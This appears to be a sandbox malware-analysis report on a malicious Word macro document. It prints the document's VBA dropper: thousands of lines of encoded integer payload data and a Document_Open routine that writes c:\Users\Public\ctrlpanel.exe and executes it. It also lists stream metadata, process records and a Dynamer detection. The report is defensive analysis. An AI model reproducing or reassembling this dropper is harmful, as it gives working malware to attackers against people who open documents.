Y = 1930756096
Y = 167772168
Y = 1920
Y = 600068
Y = 2755072
Y = 7169
Y = 0
Y = 234885393
Y = 16777224
Y = 4390912
Y = 234903830
Y = 16777224
Y = 208923
Y = 44
Y = 285212674
Y = 2174
Y = 1339140
Y = 249431552
Y = 141349
Y = 671746560
Y = 167772163
Y = 108921054
Y = 537133056
Y = 1000
Y = 683797
Y = 707136000
Y = 4097
Y = 0
Y = 234884108
Y = 16777224
Y = 208923
Y = 44
Y = 285212675
Y = 2430
Y = 1011460
Y = 249431552
Y = 141349
Y = 671746560
Y = 167772163
Y = 125698270
Y = 537133056
Y = 3000
Y = 683797
Y = 707136000
Y = 4097
Y = 0
Y = 234884108
Y = 16777224
Y = 12219046
Y = 25194496
Y = 1912864768
Y = 1879048504
Y = 640
Y = 28602884
Y = 58748928
Y = 1912864768
Y = 1879048640
Y = 1152
Y = 10756
Y = 274451
Y = 83
Y = 285212676
Y = 122994
Y = 1779895152
Y = 880386
Y = 225053184
Y = 121252620
Y = 392759298
Y = 3624
Y = 993290
Y = 147982848
Y = 1058818
Y = 1483344384
Y = 542665239
Y = 256
Y = 1641176426
Y = 4392
Y = 1189898
Y = 321391104
Y = 185204736
Y = 1483347720
Y = 822675468
Y = 2754498
Y = 339987
Y = 52
Y = 285212677
Y = 1342335510
Y = 1494726542
Y = 722078570
Y = 105906722
Y = 105906793
Y = 33984873
Y = 1790414416
Y = 1483347800
Y = 65568
Y = -765629952
Y = 386309217
Y = 101341290
Y = 718942471
Y = 143379
Y = 54
Y = 285212678
Y = 122994
Y = 318901104
Y = 722277892
Y = 151261467
Y = 134679697
Y = 4392
Y = 1189898
Y = 321391104
Y = 185204736
Y = 223876873
Y = -1912336119
Y = 132002487
Y = 552
Y = 10758
Y = 405523
Y = 45
Y = 285212679
Y = 5160
Y = 36176394
Y = 1862664192
Y = 167772181
Y = 5743
Y = 1517578
Y = -495842816
Y = 1919942657
Y = 1879048678
Y = 672535831
Y = 167772184
Y = 42
Y = 405523
Y = 33
Y = 285212680
Y = 31879682
Y = -495816704
Y = 393216001
Y = 405280277
Y = 269090816
Y = 422052352
Y = 671744000
Y = 100663300
Y = 42
Y = 274451
Y = 79
Y = 285212681
Y = 1930893570
Y = 167772186
Y = 460261131
Y = 386531328
Y = 392780138
Y = 1674584
Y = 118096128
Y = -1912203770
Y = 1863607
Y = 304482816
Y = 206848
Y = 1862731264
Y = 167772189
Y = 1930958851
Y = 167772186
Y = 369494028
Y = 1874300422
Y = 167772190
Y = 1928968
Y = 2755072
Y = 522715722
Y = 34209792
Y = 8307
Y = 945930
Y = 2754048
Y = 77843
Y = 7
Y = 285212682
Y = 752386
Y = 2753536
Y = 143379
Y = 62
Y = 285212683
Y = 134096130
Y = 100663312
Y = 8563
Y = 2063731210
Y = 67108875
Y = 2063731756
Y = 67108875
Y = 2256646
Y = 50465280
Y = 2941
Y = 192610820
Y = 738459648
Y = 192610828
Y = 100925440
Y = 9071
Y = 10762
Y = 143387
Y = 41
Y = 285212684
Y = 880386
Y = 611255808
Y = 755630080
Y = 225378827
Y = 1862664192
Y = 167772197
Y = 673517278
Y = 167772162
Y = 206858
Y = 14551552
Y = 42
Y = 4097
Y = 0
Y = 234887706
Y = 16777224
Y = 274459
Y = 380
Y = 285212685
Y = 9768
Y = 369890058
Y = 1631062803
Y = 285212673
Y = -1710550772
Y = 661587466
Y = 956956672
Y = 313
Y = 2649862
Y = 1075317248
Y = 301
Y = 2715398
Y = 711920128
Y = 1913257984
Y = 1879048682
Y = 2828311
Y = 118163968
Y = 320212499
Y = 8534029
Y = 235995136
Y = 211422481
Y = 2893832
Y = 2114783744
Y = 67108868
Y = 128626
Y = 1255536
Y = 757598720
Y = 638189568
Y = 1150
Y = 33845764
Y = 671707136
Y = 100663302
Y = 136306
Y = 3025008
Y = 68356608
Y = 791151633
Y = 755630080
Y = 68225060
Y = 1832
Y = 369365254
Y = 807933206
Y = 638189568
Y = 673517534
Y = 167772162
Y = 52954387
Y = -569769984
Y = 621796864
Y = 552
Y = 671486730
Y = 167772163
Y = 219218142
Y = 219371543
Y = 235998481
Y = 1933555598
Y = 2130706431
Y = 67108868
Y = 132210
Y = 1255536
Y = 510790144
Y = 376438786
Y = 11048
Y = 319228682
Y = 252909072
Y = 269570859
Y = 328863505
Y = 671551751
Y = 167772204
Y = 1862666259
Y = 167772201
Y = 10863
Y = 36336138
Y = 135360512
Y = 1320
Y = 36598278
Y = 774402048
Y = 319422464
Y = 671682825
Y = 167772207
Y = 118559021
Y = 120064273
Y = 285605888
Y = 824712201
Y = 285868032
Y = 324540175
Y = 286200079
Y = 850890256
Y = 621797029
Y = 552
Y = 671748874
Y = 167772163
Y = 185663710
Y = 185817111
Y = 202443537
Y = -1807763570
Y = 721420286
Y = 19521
Y = 0
Y = 157
Y = 13
Y = 170
Y = 15
Y = 16777224
Y = 0
Y = 91
Y = 96
Y = 187
Y = 15
Y = 16777224
Y = 0
Y = 21
Y = 326
Y = 347
Y = 15
Y = 16777224
Y = 522715838
Y = 34209792
Y = 818452
Y = 1912734720
Y = 1879048672
Y = 3709
Y = 544408068
Y = 1862926336
Y = 100663315
Y = 3371778
Y = 310184448
Y = 704905216
Y = 77843
Y = 7
Y = 285212686
Y = 1014530
Y = 2753536
Y = 143379
Y = 62
Y = 285212687
Y = 134096130
Y = 100663318
Y = 8563
Y = 2063731210
Y = 67108879
Y = 2063731756
Y = 67108879
Y = 2256646
Y = 50465280
Y = 3965
Y = 259719684
Y = 738459648
Y = 259719692
Y = 100925440
Y = 9071
Y = 10762
Y = 274459
Y = 267
Y = 285212688
Y = 1404674
Y = -684063232
Y = 2113929216
Y = 67108865
Y = 145522
Y = 680269680
Y = 671154176
Y = 167772166
Y = 382
Y = 38695428
Y = -1944621056
Y = 16777256
Y = 1576
Y = 163338
Y = 1718748160
Y = 1919942658
Y = 1879048834
Y = 1576
Y = 209388042
Y = 1862533120
Y = 167772212
Y = 2853910
Y = 302776576
Y = 3505666
Y = 302844416
Y = 3505667
Y = 68356608
Y = 913245202
Y = 34209792
Y = 3195
Y = 3505668
Y = 68356608
Y = 897451026
Y = 218759168
Y = 897450770
Y = 201981952
Y = 930021906
Y = -569769984
Y = 36185358
Y = 168427520
Y = 808
Y = 33611274
Y = 14451
Y = 818442
Y = 2063729664
Y = 67108876
Y = 3763990
Y = 2063731200
Y = 67108876
Y = 3829526
Y = 2063731200
Y = 67108876
Y = 3895065
Y = 2063731200
Y = 67108876
Y = 3960599
Y = 1862404608
Y = 100663314
Y = 9327
Y = 34286858
Y = 4719
Y = 2453254
Y = 249432576
Y = 141349
Y = 671812096
Y = 167772163
Y = 2752734
Y = 7169
Y = 4784128
Y = 234920272
Y = 16777224
Y = 0
Y = 234945788
Y = 16777224
Y = 143387
Y = 34
Y = 285212689
Y = 817922
Y = 1030685696
Y = 185204736
Y = 282987031
Y = 141349
Y = 369887744
Y = 206858
Y = 14551552
Y = 10758
Y = 4097
Y = 0
Y = 268439568
Y = 16777224
Y = 1191963
Y = 1260
Y = 285212690
Y = 1080066
Y = -1925643264
Y = 33554435
Y = 4475
Y = 276496900
Y = -1912340480
Y = 57097399
Y = 2063728640
Y = 67108880
Y = 1145602
Y = 194642944
Y = 4092679
Y = 101321216
Y = 16239
Y = 303829770
Y = 4204572
Y = 487787008
Y = 1093147922
Y = 101318656
Y = 16239
Y = 303698698
Y = 4204570
Y = 454232576
Y = 1109924626
Y = 1477050368
Y = 4157190
Y = 403900928
Y = 1076369426
Y = 319422464
Y = 672731673
Y = 167772227
Y = 1064240728
Y = 319422464
Y = 672535062
Y = 167772224
Y = 387061523
Y = 17448
Y = 991320074
Y = 709
Y = 4157190
Y = 68356608
Y = 4550406
Y = 101911040
Y = 4615942
Y = 118688256
Y = 18216
Y = 36336138
Y = 671576064
Y = 167772232
Y = 18728
Y = 1929973002
Y = 167772222
Y = 386467596
Y = 18984
Y = 209388042
Y = 1862533120
Y = 167772212
Y = 303960841
Y = 730600990
Y = 318832640
Y = 371135007
Y = 11148
Y = 304091905
Y = 730600992
Y = 318832640
Y = 2116096545
Y = 167772213
Y = 571613715
Y = 13694
Y = 304288522
Y = 3505699
Y = 605227520
Y = 897459218
Y = 319422464
Y = 2116358693
Y = 167772213
Y = 638723603
Y = 13694
Y = 304550666
Y = 3505703
Y = 672336384
Y = -1944705006
Y = 16777259
Y = 689056019
Y = 13694
Y = 304747274
Y = 3505706
Y = 722668032
Y = -1944638702
Y = 16777259
Y = 739388435
Y = 13694
Y = 304943882
Y = 4943661
Y = 504433152
Y = 19496
Y = 85134602
Y = 393152770
Y = 285605888
Y = 5074693
Y = 1075186176
Y = 398
Y = 319358225
Y = 523047469
Y = 2657293
Y = 739442944
Y = 897461266
Y = 319422464
Y = 2116751915
Y = 167772213
Y = 705833491
Y = 2853910
Y = 689111296
Y = 897460498
Y = 319422464
Y = 2116555304
Y = 167772213
Y = 655501075
Y = 13694
Y = 304485130
Y = 3505702
Y = 622004736
Y = 897459474
Y = 319422464
Y = 2116293156
Y = 167772213
Y = 588391187
Y = 13694
Y = 304222986
Y = 3505698
Y = 554895872
Y = 897458450
Y = 319422464
Y = 2116031008
Y = 167772213
Y = 521281299
Y = 13694
Y = 303960842
Y = 3505694
Y = 772999680
Y = 1315909138
Y = 285868032
Y = 4991021
Y = 34408960
Y = 1535753
Y = 85001728
Y = 20335
Y = 5271306
Y = -1944647168
Y = 16777256
Y = 20847
Y = 285807370
Y = 5402377
Y = 135465472
Y = 1862404113
Y = 100663320
Y = 21359
Y = 1862603018
Y = 167772244
Y = 672597769
Y = 167772234
Y = 4092679
Y = 302647808
Y = 68293892
Y = 21800
Y = 678189578
Y = 167772246
Y = 68289555
Y = 671355413
Y = 167772247
Y = 1479044186
Y = 319422464
Y = 352588292
Y = 1495794706
Y = 1510604800
Y = 5908588
Y = 68356608
Y = 303367186
Y = 5974020
Y = 1817840128
Y = 23592
Y = 100930314
Y = 1567556625
Y = 101318656
Y = 1584334353
Y = 101318656
Y = 1601111825
Y = -569769984
Y = 36185374
Y = 319422464
Y = 206858
Y = 266209792
Y = 141349
Y = 185797120
Y = 808
Y = 151051786
Y = 24616
Y = 621796874
Y = 552
Y = 671879946
Y = 167772163
Y = 85000414
Y = 2853910
Y = 772997376
Y = 897461778
Y = 319422464
Y = 2116882989
Y = 167772213
Y = 739388435
Y = 24943
Y = 621796874
Y = 552
Y = 671945482
Y = 167772163
Y = 151126238
Y = 5999
Y = 621796870
Y = 552
Y = 672011018
Y = 167772163
Y = 33685726
Y = 4475
Y = 2102925060
Y = 67108881
Y = 91704
Y = 2098463232
Y = 67108880
Y = 293410306
Y = 939786240
Y = 339
Y = 13171
Y = 672076554
Y = 167772198
Y = 320221203
Y = 293022511
Y = -1708191440
Y = 286331155
Y = 10095
End Sub
Private Sub CheckHash0()
Y = 290466826
Y = 2649873
Y = 857213440
Y = 286200094
Y = 2715409
Y = 711920128
Y = 2114584576
Y = 67108867
Y = 2828311
Y = 1651444224
Y = 285868032
Y = 2649873
Y = 857278976
Y = 286200094
Y = 2715409
Y = 711920128
Y = 2114584576
Y = 67108867
Y = 2828310
Y = 1651444224
Y = -569769984
Y = 36185359
Y = 319422464
Y = 206866
Y = 14551552
Y = 1477914385
Y = 789655315
Y = -1215418351
Y = 35094834
Y = 3195
Y = 6516484
Y = 1684998656
Y = 319422464
Y = 722670385
Y = 34541888
Y = 3195
Y = 6516484
Y = 319883776
Y = 25967
Y = 6713098
Y = 58591744
Y = 369360896
Y = 11048
Y = 6450954
Y = 266209792
Y = 141349
Y = 336792064
Y = 808
Y = 285269514
Y = 324540179
Y = 286462227
Y = 1941582129
Y = 167772211
Y = 252776467
Y = 26479
Y = 724701962
Y = 674370092
Y = 167772264
Y = 353441043
Y = 26920
Y = 6957066
Y = -1972237824
Y = 376438786
Y = 27432
Y = 154342922
Y = 353439761
Y = 27759
Y = 674370058
Y = 167772269
Y = 249482029
Y = 385757714
Y = 452984834
Y = 28271
Y = 285400074
Y = 7302928
Y = 276630016
Y = 704905216
Y = 50241
Y = 0
Y = 636
Y = 117
Y = 753
Y = 15
Y = 16777224
Y = 0
Y = 408
Y = 360
Y = 768
Y = 15
Y = 16777224
Y = 0
Y = 783
Y = 8
Y = 791
Y = 15
Y = 16777224
Y = 0
Y = 806
Y = 37
Y = 843
Y = 15
Y = 16777224
Y = 0
Y = 30
Y = 837
Y = 867
Y = 15
Y = 16777224
Y = 0
Y = 946
Y = 91
Y = 1037
Y = 15
Y = 16777224
Y = 0
Y = 1089
Y = 43
Y = 1132
Y = 15
Y = 16777224
Y = 2
Y = 1166
Y = 66
Y = 1232
Y = 14
Y = 0
Y = 274451
Y = 116
Y = 285212691
Y = 209388055
Y = 1862533120
Y = 167772259
Y = 25711
Y = 722078474
Y = 209388122
Y = 1862533120
Y = 167772259
Y = 6647558
Y = 1718553088
Y = 1913257984
Y = 1879048746
Y = 817922
Y = 1668219904
Y = 101318656
Y = 25967
Y = 7368458
Y = 1227360768
Y = 50987008
Y = 7022614
Y = 857082368
Y = 209388054
Y = 1862533120
Y = 167772259
Y = 6647558
Y = 1903102464
Y = 101318656
Y = 101341207
Y = 715272455
Y = 274451
Y = 664
Y = 285212692
Y = 948994
Y = -529398784
Y = 376438785
Y = 27432
Y = 120460810
Y = 948994
Y = 1915356160
Y = 1879048672
Y = -1804466164
Y = 678428674
Y = 167772179
Y = -260962292
Y = 678428674
Y = 167772179
Y = 1282541580
Y = 678428675
Y = 167772179
Y = 1785858060
Y = 678428675
Y = 167772179
Y = -1166931956
Y = 678428675
Y = 167772179
Y = -562952180
Y = 678428675
Y = 167772179
Y = -59635700
Y = 678428675
Y = 167772179
Y = 7481356
Y = 387516928
Y = 6771
Y = 7566090
Y = 369756672
Y = 219547155
Y = 369365782
Y = -986184429
Y = 100663296
Y = 29807
Y = 285610762
Y = 187897348
Y = 386729489
Y = -1388837869
Y = 285212672
Y = 137562374
Y = 1477903377
Y = 1596654611
Y = 823591953
Y = 745670717
Y = 292552708
Y = 7677956
Y = 1148324352
Y = 678428676
Y = 167772206
Y = 1248987148
Y = 158334980
Y = 29992
Y = 71594506
Y = 774402048
Y = 201981952
Y = 72380936
Y = 321417216
Y = 201981952
Y = 1913132843
Y = 1879049290
Y = 7677961
Y = 1148324352
Y = 678428676
Y = 167772206
Y = 218501388
Y = 100930327
Y = 30319
Y = 7827210
Y = 2099712
Y = 1778384912
Y = 1778717019
Y = 1913137713
Y = 1879049310
Y = 4904
Y = 1913129994
Y = 1879049330
Y = 1965557009
Y = 1913257984
Y = 1879049284
Y = 11816
Y = 85003274
Y = 85153815
Y = 7761670
Y = 2003765760
Y = 101318656
Y = 30319
Y = 7892746
Y = 541002240
Y = 301989887
Y = 1026627332
Y = 70021640
Y = 68251648
Y = 29992
Y = 71594506
Y = 774402048
Y = 201981952
Y = 71987720
Y = 671707136
Y = 167772277
Y = 279666
Y = 3025008
Y = 135006720
Y = 282738
Y = 1255536
Y = 722209280
Y = 1248987159
Y = 158334980
Y = 29992
Y = 71594506
Y = 774402048
Y = 201981952
Y = 73298440
Y = 321417216
Y = 201981952
Y = 77492744
Y = 321417216
Y = 201981952
Y = 81424904
Y = 321417216
Y = 201981952
Y = 83915272
Y = 321417216
Y = 201981952
Y = 91255304
Y = 321417216
Y = 201981952
Y = 94138888
Y = 321417216
Y = 201981952
Y = 99512840
Y = 321417216
Y = 201981952
Y = 386208022
Y = 319296345
Y = 136194823
Y = 398450
Y = 671551856
Y = 167772277
Y = 406130
Y = 3025008
Y = 286001664
Y = 324540167
Y = 285675783
Y = 148648200
Y = 408690
Y = 1255536
Y = 135006720
Y = 414322
Y = 1255536
Y = 135006720
Y = 418930
Y = 1255536
Y = 135006720
Y = 428146
Y = 1255536
Y = 135006720
Y = 286322
Y = 1255536
Y = 34343424
Y = 949512
Y = 705168384
Y = 1112167234
Y = 65537
Y = 0
Y = 12
Y = 808333942
Y = 925906222
Y = 14130
Y = 327680
Y = 108
Y = 2352
Y = 32291
Y = 2460
Y = 3200
Y = 1920226083
Y = 1936158313
Y = 0
Y = 5660
Y = 1684
Y = 5461283
Y = 7344
Y = 16
Y = 1230325539
Y = 68
Y = 7360
Y = 1108
Y = 1869365795
Y = 98
Y = 0
Y = 16777218
Y = 161619287
Y = 9
Y = 858126848
Y = 5632
Y = 1
Y = 81
Y = 5
Y = 18
Y = 24
Y = 16
Y = 132
Y = 2
Y = 17
Y = 20
For I = 1 To 2
Y = 2
Next
Y = 4
Y = 2
Y = 1
Y = 7
Y = 208601088
Y = 1
Y = 393216
Y = 5570652
Y = 20250630
Y = 393508
Y = 19136860
Y = 29294606
Y = 917929
Y = 27853344
Y = 40828946
Y = 393809
Y = 45482705
Y = 50135046
Y = 655445
Y = 51643195
Y = 57212934
Y = 393508
Y = 58327946
Y = 60555270
Y = 1442084
Y = 61473391
Y = 63307786
Y = 394004
Y = 5571550
Y = 66125830
Y = 655445
Y = 1246211
Y = 68878346
Y = 394004
Y = 70714435
Y = 74055686
Y = 655445
Y = 1246337
Y = 78774278
Y = 394408
Y = 78120125
Y = 80084998
Y = 394408
Y = 5571793
Y = 81461254
Y = 918696
Y = 27854056
Y = 86900742
Y = 394408
Y = 78120270
Y = 90570758
Y = 394408
Y = 78120326
Y = 94502918
Y = 394408
Y = 78120364
Y = 96600070
Y = 394408
Y = 78120435
Y = 100597770
Y = 655379
Y = 1246731
Y = 102563846
Y = 394408
Y = 104466010
Y = 108724230
Y = 1179733
Y = 38864513
Y = 109969426
Y = 393809
Y = 5572262
Y = 113246214
Y = 1181358
Y = 38864595
Y = 119996442
Y = 1705745
Y = 118556500
Y = 126222342
Y = 394408
Y = 5572495
Y = 127402002
Y = 1966673
Y = 127993783
Y = 130154526
Y = 395169
Y = 5572558
Y = 131530783
Y = 655360
Y = 140052598
Y = 145227794
Y = 1966673
Y = 127994057
Y = 148963358
Y = 1968033
Y = 127994092
Y = 151650334
Y = 1968033
Y = 127994141
Y = 154730526
Y = 395169
Y = 45484531
Y = 168427538
Y = 1180241
Y = 38865456
Y = 175767562
Y = 394004
Y = 5573279
Y = 180027398
Y = 394408
Y = 184617748
Y = 187171095
Y = 393216
Y = 104467255
Y = 190251014
Y = 394810
Y = 112069493
Y = 196149254
Y = 396178
Y = 194120639
Y = 198377478
Y = 394926
Y = 112069614
Y = 201916422
Y = 394926
Y = 112069666
Y = 205193222
Y = 394926
Y = 112069720
Y = 0
Y = 1
Y = 65536
Y = 16777217
Y = 2686992
Y = 327729
Y = 65537
Y = 1048832
Y = 3211323
Y = 327685
Y = 65544
Y = 4194304
Y = 327729
Y = 786443
Y = 1
Y = 3211340
Y = 786437
Y = 1441809
Y = 1507434
Y = 7798806
Y = 1441815
Y = 1507459
Y = 8912918
Y = -2142175209
Y = 1507610
Y = 20643857
Y = 1114195
Y = 5439818
Y = 4980753
Y = 1114199
Y = 5963840
Y = 23199761
Y = 65631
Y = 7078352
Y = 41615361
Y = -2142175088
Y = 9699967
Y = 42926081
Y = 65559
Y = 7078352
Y = 44367873
Y = 65696
Y = 9700011
Y = 47710209
Y = 567017636
Y = 0
Y = 6494225
Y = 65555
Y = 8696
Y = 1441792
Y = 1704081
Y = 576192513
Y = 0
Y = 11141142
Y = 131103
Y = 8856
Y = 1441792
Y = 2490565
Y = 584843267
Y = 0
Y = 14221334
Y = 262170
Y = 8984
Y = 1441792
Y = 1704168
Y = 591921157
Y = 0
Y = 16318486
Y = 393260
Y = 8272
Y = 403767296
Y = 1245283
Y = 543948808
Y = 0
Y = 3866646
Y = 524307
Y = 8508
Y = 1114112
Y = 6488426
Y = 562298888
Y = 0
Y = 25690129
Y = 589923
Y = 9124
Y = 403046400
Y = 6816163
Y = 599261194
Y = 0
Y = 31591233
Y = 655472
Y = 9164
Y = 188809248
Y = 7668215
Y = 605552650
Y = 0
Y = 35389446
Y = 721000
Y = 9312
Y = 65536
Y = 8061488
Y = 640942091
Y = 0
Y = 27465734
Y = 852072
Y = 9828
Y = 188809216
Y = 7340514
Y = 645398541
Y = 2097152
Y = 32967489
Y = 852085
Y = 9924
Y = 393216
Y = 6816284
Y = 670564366
Y = 0
Y = 43843585
Y = 917660
Y = 10296
Y = 65536
Y = 8061488
Y = 770965518
Y = 0
Y = 48168961
Y = 1048747
Y = 11892
Y = 65536
Y = 11535092
Y = 17
Y = 10878977
Y = 65536
Y = 191
Y = 12517377
Y = 655

Streams

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 373

General
Stream Path:	PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	373
Entropy:	5.313698108327199
Base64 Encoded:	True
Data ASCII:	I D = " { 3 4 B 4 0 E 1 4 - 7 6 9 0 - 4 1 1 0 - 8 6 F 5 - 4 2 8 5 D 8 A 7 1 4 A 6 } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 3 F 3 D B 4 7 7 C C 8 9 8 F 8 D 8 F 8 D 8 F 8 D 8 F 8 D " . . D P B = " F E F C 7 5 3 8 8 B 4 8 4 B 4 9 4 B 4 9 4 B " . . G C = " B D B F 3 6 F 5 4 A B 5 4 B B 5 4 B 4 A " . . . . [ H o s t E x t e n d e r
Data Raw:	49 44 3d 22 7b 33 34 42 34 30 45 31 34 2d 37 36 39 30 2d 34 31 31 30 2d 38 36 46 35 2d 34 32 38 35 44 38 41 37 31 34 41 36 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4e 61 6d 65 3d 22 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22 0d 0a 56 65 72 73 69 6f 6e 43 6f 6d 70 61 74 69

Stream Path: PROJECTwm, File Type: data, Stream Size: 41

General
Stream Path:	PROJECTwm
CLSID:
File Type:	data
Stream Size:	41
Entropy:	3.0773844850752607
Base64 Encoded:	False
Data ASCII:	T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . . .
Data Raw:	54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 00 00

Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 2701

General
Stream Path:	VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2701
Entropy:	4.250559535348394
Base64 Encoded:	False
Data ASCII:	a . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 1 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 7 . \\ . V . B . E . 7 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 97 00 00 01 00 ff 22 04 00 00 09 04 00 00 e3 04 01 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 31 00 23 00

Stream Path: VBA/dir, File Type: data, Stream Size: 524

General
Stream Path:	VBA/dir
CLSID:
File Type:	data
Stream Size:	524
Entropy:	6.2803415982831075
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . l . . . . . . . . i f . . J . < . . . . . r s t d o l e > . . . s . . t . d . o . l . e . . . h . % ^ . . . * \\ G { 0 0 0 2 ` 0 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } . # 2 . 0 # 0 # C . : \\ W i n d o w . s \\ s y s t e m . 3 2 \\ . e 2 . t l . b # O L E A u . t o m a t i o n . . ` . . E N o r m a . l E N C r . m . a F . . . . . . * \\ C . . . . . l . f . . ! O f f i " c g O . f . i . * c g
Data Raw:	01 08 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e3 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 c2 69 81 66 9c a4 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 20 6f 6c 65 3e 00 01 19 73 00 00 74 00 64 00 6f 00 6c 00 a0 65 00 0d 00 68 00 25 5e 00 03 00 2a 5c 47 7b 30

Target ID:	0
Start time:	14:30:16
Start date:	26/04/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f760000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:30:18
Start date:	26/04/2024
Path:	C:\Users\Public\ctrlpanel.exe
Wow64 process (32bit):	false
Commandline:	c:\Users\Public\ctrlpanel.exe
Imagebase:	0xe00000
File size:	35'328 bytes
MD5 hash:	40D2CCD570BD898CC31AF1CBFE5FB08E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dynamer, Description: Yara detected Dynamer, Source: 00000002.00000000.356162741.0000000000E02000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Dynamer, Description: Yara detected Dynamer, Source: C:\Users\Public\ctrlpanel.exe, Author: Joe Security
Antivirus matches:	Detection: 65%, ReversingLabs Detection: 70%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	14:30:23
Start date:	26/04/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f760000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: ThisDocument

Declaration

Line	Content
1	Attribute VB_Name = "ThisDocument"
2	Attribute VB_Base = "1Normal.ThisDocument"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = True
8	Attribute VB_Customizable = True

Executed Functions

Subroutine
Document_OpenAPIs: 4, Strings: 1, Number of lines: 20, Relevance: 16.02

APIs	Meta Information
Open
Part of subcall function FE@ThisDocument: FileLen
Open	Open("c:\Users\Public\ctrlpanel.exe")
Shell	Shell("c:\Users\Public\ctrlpanel.exe") -> 724

Strings	Decrypted Strings
"c:\Users\Public\ctrlpanel.exe"

Line	Instruction	Meta Information
7360	Private Sub Document_Open()
7361	On Error Goto L_	executed
7362	Dim ShS as String
7362	ShS = "c:\Users\Public\ctrlpanel.exe"
7363	If Not FE(ShS) Then	Open
7364	Open ShS For Binary Access Write As # 1	Open("c:\Users\Public\ctrlpanel.exe") executed
7365	Call CheckHash()
7366	Call CheckHash0()
7367	Call CheckHash1()
7368	Call CheckHash2()
7369	Call CheckHash3()
7370	Call CheckHash4()
7371	Call CheckHash5()
7372	Call CheckHash6()
7373	Call CheckHash7()
7374	Close # 1
7375	Endif
7376	Call Shell(ShS)	Shell("c:\Users\Public\ctrlpanel.exe") -> 724 executed
7376	L_:
7378	End Sub

Function
FEAPIs: 1, Strings: 0, Number of lines: 4, Relevance: 1.254

APIs	Meta Information
FileLen

Line	Instruction	Meta Information
9	Private Function FE(V as String) as Boolean
10	On Error Resume Next	executed
10	FE = (FileLen(V) > - 1)	FileLen
11	End Function

Subroutine
CheckHash0APIs: 0, Strings: 0, Number of lines: 1035, Relevance: 1.035

Line	Instruction	Meta Information
903	Private Sub CheckHash0()
904	Y = 290466826	executed
905	Y = 2649873
906	Y = 857213440
907	Y = 286200094
908	Y = 2715409
909	Y = 711920128
910	Y = 2114584576
911	Y = 67108867
912	Y = 2828311
913	Y = 1651444224
914	Y = 285868032
915	Y = 2649873
916	Y = 857278976
917	Y = 286200094
918	Y = 2715409
919	Y = 711920128
920	Y = 2114584576
921	Y = 67108867
922	Y = 2828310
923	Y = 1651444224
924	Y = - 569769984
925	Y = 36185359
926	Y = 319422464
927	Y = 206866
928	Y = 14551552
929	Y = 1477914385
930	Y = 789655315
931	Y = - 1215418351
932	Y = 35094834
933	Y = 3195
934	Y = 6516484
935	Y = 1684998656
